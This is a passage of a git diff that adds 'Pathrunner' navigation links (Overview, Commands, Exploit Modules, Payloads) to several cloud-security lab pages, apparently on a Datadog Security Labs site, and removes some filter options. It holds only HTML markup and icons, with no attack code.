+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/glue-005/index.html b/docs/labs/glue-005/index.html
index b12b8686..0baa4624 100644
--- a/docs/labs/glue-005/index.html
+++ b/docs/labs/glue-005/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/glue-006/index.html b/docs/labs/glue-006/index.html
index 61134743..1b782e02 100644
--- a/docs/labs/glue-006/index.html
+++ b/docs/labs/glue-006/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/glue-007/index.html b/docs/labs/glue-007/index.html
index 6aa53b2f..ebb42763 100644
--- a/docs/labs/glue-007/index.html
+++ b/docs/labs/glue-007/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-001/index.html b/docs/labs/iam-001/index.html
index 1d5a3b4d..9f9d5dfa 100644
--- a/docs/labs/iam-001/index.html
+++ b/docs/labs/iam-001/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/iam-002-to-bucket/index.html b/docs/labs/iam-002-to-bucket/index.html
index 82f828ce..da593067 100644
--- a/docs/labs/iam-002-to-bucket/index.html
+++ b/docs/labs/iam-002-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
